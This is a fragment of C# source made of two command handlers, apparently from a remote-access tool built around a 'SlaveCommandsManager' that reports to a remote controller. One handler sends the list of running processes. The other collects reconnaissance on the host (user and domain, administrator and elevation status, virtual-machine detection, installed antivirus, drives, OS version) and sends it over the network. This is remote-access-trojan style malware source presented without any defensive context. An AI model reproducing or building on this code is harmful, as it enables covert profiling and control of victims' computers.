public void Process(List <string> args) { var processlist = System.Diagnostics.Process.GetProcesses(); var processesInfos = new List <Tuple <string, string> >(); foreach (var process in processlist.ToList().Where(x => x.ProcessName != "svchost").OrderBy(x => x.ProcessName).ThenBy(x => x.Id)) { processesInfos.Add(new Tuple <string, string>(process.Id.ToString(), process.ProcessName)); } SlaveCommandsManager.networkManager.WriteLine(SlaveCommandsManager.TableDisplay(processesInfos)); SlaveCommandsManager.networkManager.WriteLine("{end}"); }
public void Process(List <string> args) { var infos = new List <Tuple <string, string> > { new Tuple <string, string>("Machine name", Environment.MachineName), new Tuple <string, string>("Virtual machine", IsVirtualMachine() ? "Yes" : "No"), new Tuple <string, string>("Current user's name", Environment.UserName), new Tuple <string, string>("Current user's domain name", Environment.UserDomainName), new Tuple <string, string>("Current user is administrator", IsAdministrator().ToString()), new Tuple <string, string>("Running as admin", RuningAsAdmin().ToString()), new Tuple <string, string>("Os version", $"{Environment.OSVersion} , {(Environment.Is64BitOperatingSystem ? "64" : "32")}bit operating system"), new Tuple <string, string>(".NET version", Environment.Version.ToString()), new Tuple <string, string>("Processor cores", Environment.ProcessorCount.ToString()), new Tuple <string, string>("Machine uptime", TimespanAsString(TimeSpan.FromMilliseconds(Environment.TickCount))), new Tuple <string, string>("Drives", Environment.GetLogicalDrives().Aggregate((current, drive) => $"{current} , {drive}")), new Tuple <string, string>("Antivirus", GetInstalledAntivirus().Aggregate((current, av) => $"{current} , {av}")) }; SlaveCommandsManager.networkManager.WriteLine(SlaveCommandsManager.TableDisplay(infos)); SlaveCommandsManager.networkManager.WriteLine("{end}"); }